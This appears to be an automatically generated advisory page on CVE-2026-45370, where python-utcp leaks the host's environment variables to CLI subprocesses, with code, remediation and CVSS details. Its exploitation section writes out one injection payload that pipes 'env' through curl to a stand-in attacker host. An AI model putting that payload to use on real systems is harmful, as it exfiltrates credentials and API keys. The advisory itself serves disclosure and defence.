CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-45370

CVE-2026-45370: Environment Variable Leak in python-utcp CLI Subprocesses

Alon Barad
Alon Barad
Software Engineer

May 14, 2026·6 min read·16 visits

Executive Summary (TL;DR)

python-utcp prior to version 1.1.3 improperly exposes process-level environment variables to CLI subprocesses, enabling secret exfiltration when chained with command injection vulnerabilities.

The python-utcp library improperly exposes the host application's full environment variables to spawned subprocesses via os.environ.copy(). When combined with an existing command injection flaw, attackers can exfiltrate all host secrets in a single request.

Vulnerability Overview

The python-utcp library serves as the Python implementation of the Universal Tool Calling Protocol, facilitating interactions between applications and external CLI tools. Prior to version 1.1.3, the library contains a severe environment variable leakage vulnerability tracked as CVE-2026-45370. The flaw resides in the cli_communication_protocol.py module, specifically within the _prepare_environment() function.

When setting up the execution context for spawned subprocesses, the library automatically exports a complete copy of the parent process environment. This design flaw violates the principle of least privilege by exposing all process-level configuration data to the external tool. The exposed data typically includes highly sensitive materials such as database connection strings, cloud provider credentials, and master API keys.

This exposure represents a critical security risk due to its high synergy with command injection flaws. When an attacker chains this vulnerability with CVE-2026-45369, they can achieve arbitrary command execution and simultaneously exfiltrate all inherited secrets. The combination of these two vulnerabilities transforms a localized injection flaw into a complete compromise of the application environment.

Root Cause Analysis

The root cause of CVE-2026-45370 is the unsafe inheritance of environment variables during subprocess creation. When a tool is invoked via the CLI protocol, the library calls the _prepare_environment() method to establish the execution environment for the new child process. The implementation utilizes the os.environ.copy() method without applying any filtering or sanitization to the inherited dataset.

By invoking os.environ.copy(), the library captures every variable present in the host application memory space at the time of execution. LLM agents and orchestration servers frequently load all necessary API keys and access tokens into the main process environment upon startup. Consequently, every CLI tool spawned by the library receives direct access to these secrets, regardless of whether the tool explicitly requires them to function.

These variables are subsequently passed directly to the env argument of the subprocess.run() or subprocess.Popen() functions. The operating system then loads these values into the memory space of the spawned shell. Any process executed within this shell, whether legitimate or malicious, possesses the capability to read and transmit these variables to external destinations.

Code Analysis

The vulnerability originates from a common oversight in Python subprocess management. In the vulnerable implementation, the _prepare_environment() method retrieves the full environment dictionary and returns it for use in the subprocess call. The function performs no inspection of the keys being passed, acting as a blind pass-through for sensitive memory.

# Vulnerable Implementation
def _prepare_environment(self) -> dict:
    # Inherits the entire parent environment, including all sensitive secrets
    return os.environ.copy()

The remediation strategy requires modifying the environment preparation logic to enforce an allowlist or return a minimally viable environment. By explicitly defining which variables the child process receives, developers prevent the accidental propagation of host secrets. The patched version 1.1.3 implements a restricted environment model that prevents arbitrary variable inheritance.

# Mitigated Implementation Pattern
def _prepare_environment(self) -> dict:
    # Restricts environment to strictly necessary system variables
    safe_env = {
        "PATH": os.environ.get("PATH", "/usr/bin:/bin"),
        "SYSTEMROOT": os.environ.get("SYSTEMROOT", "")
    }
    return safe_env

Exploitation Methodology

Exploiting CVE-2026-45370 relies on the attacker first securing execution capabilities within the subprocess context. This is typically achieved by exploiting CVE-2026-45369, a command injection vulnerability located within the _substitute_utcp_args method of the same component. The attacker initiates the exploit chain by submitting a crafted payload designed to break out of the intended tool command structure.

The attacker provides a tool call argument containing shell metacharacters and the env command, such as input="; env | curl -X POST -d @- http://attacker.com/log #". The vulnerable substitution logic inserts this payload directly into the shell execution string. When the operating system parses the string, it executes the legitimate command, followed immediately by the injected env sequence.

Because _prepare_environment() populated the shell with the parent process variables, the env command outputs the complete secret configuration. The attacker pipes this output directly into curl, transmitting the entire environment block to an external listening server. This exfiltration occurs synchronously within the single tool call request.

Impact Assessment

The exploitation of this vulnerability results in a total loss of confidentiality for all process-level secrets. In modern deployment architectures, environment variables serve as the primary mechanism for distributing sensitive configuration data to application containers. An attacker successfully executing this chain gains immediate access to AWS access keys, OpenAI tokens, database URIs, and authentication salts.

The CVSS v3.1 base score of 7.7 reflects the high severity of the exposure despite the lack of direct system integrity impact. The vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N highlights that the vulnerability is exploitable over the network with low complexity. The changed scope (S:C) indicates that a vulnerability within the tool-calling library compromises the confidentiality of the broader host application environment.

The secondary consequences of this data exposure are severe. Attackers utilizing the stolen credentials can pivot into connected cloud infrastructure, access proprietary database records, or incur substantial financial charges on LLM provider accounts. The immediate exfiltration of all keys eliminates the need for the attacker to maintain persistent access to the compromised server.

Remediation and Mitigation

The primary remediation for CVE-2026-45370 is an immediate upgrade to python-utcp version 1.1.3 or later. The patched version modifies the environment handling logic to ensure that sensitive parent variables are not automatically propagated to CLI subprocesses. System administrators should verify the deployed library version across all environments utilizing the Universal Tool Calling Protocol.

If applying the patch is not immediately feasible, developers can manually override the _prepare_environment() method within their tool configurations. The overridden method must return a tightly controlled dictionary containing only the standard operating system paths necessary for basic executable discovery. Under no circumstances should os.environ.copy() be utilized in the temporary workaround.

Organizations must also adopt defense-in-depth measures to limit the blast radius of similar vulnerabilities. Applications should run within isolated container environments operating under the principle of least privilege. Sensitive master credentials should be replaced with scoped, short-lived tokens retrieved dynamically via dedicated secret management services.

Official Patches

GitHub Security AdvisoryOfficial GitHub Advisory for CVE-2026-45370

Technical Appendix

CVSS Score
7.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Affected Systems

python-utcpUniversal Tool Calling Protocol (UTCP) CLI applications

Affected Versions Detail

Product
Affected Versions
Fixed Version
python-utcp
universal-tool-calling-protocol
< 1.1.31.1.3
AttributeDetail
CWE IDCWE-526
CVSS Score7.7 (High)
Attack VectorNetwork
ImpactHigh Confidentiality Loss
Affected Componentcli_communication_protocol.py
Related CVECVE-2026-45369

MITRE ATT&CK Mapping

T1552.004Unsecured Credentials: Environment Variables
Credential Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-526
Exposure of Sensitive Information Through Environmental Variables

The application exposes sensitive information, such as passwords or API keys, to an unauthorized actor via environmental variables.

Vulnerability Timeline

CVE-2026-45370 and CVE-2026-45369 published by GitHub Security Advisories.
2026-05-14
NVD entry created and CVSS scores assigned.
2026-05-14
Fixed version 1.1.3 released by the universal-tool-calling-protocol maintainers.
2026-05-14

References & Sources

  • [1]GitHub Advisory: GHSA-5v57-8rxj-3p2r
  • [2]GitHub Advisory: GHSA-33p6-5jxp-p3x4
  • [3]NVD Vulnerability Detail
  • [4]CVE.org Record
Related Vulnerabilities
CVE-2026-45369

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•36 minutes ago•CVE-2026-11645
8.8

CVE-2026-11645: Out-of-Bounds Memory Access in Google Chrome V8 Engine

A high-severity memory corruption vulnerability exists in the V8 JavaScript engine of Google Chrome before versions 149.0.7827.102/103. The flaw arises from an incorrect bounds-check elimination during JIT compilation by the TurboFan optimizer, allowing remote attackers to achieve out-of-bounds read and write access inside the sandboxed renderer process.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 9 hours ago•CVE-2026-50751
9.3

CVE-2026-50751: Authentication Bypass in Check Point Security Gateway IKEv1 Legacy Validation

An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.

Alon Barad
Alon Barad
53 views•6 min read
•about 23 hours ago•CVE-2026-39922
6.3

CVE-2026-39922: Server-Side Request Forgery in GeoNode Service Registration Endpoint

GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.

Alon Barad
Alon Barad
4 views•7 min read
•1 day ago•CVE-2022-0492
7.8

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Amit Schendel
Amit Schendel
12 views•7 min read
•3 days ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
12 views•6 min read
•3 days ago•GHSA-FGMC-2HQJ-86V4
6.9

GHSA-FGMC-2HQJ-86V4: Default Administrative Credentials in vantage6-server

A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.

Amit Schendel
Amit Schendel
8 views•5 min read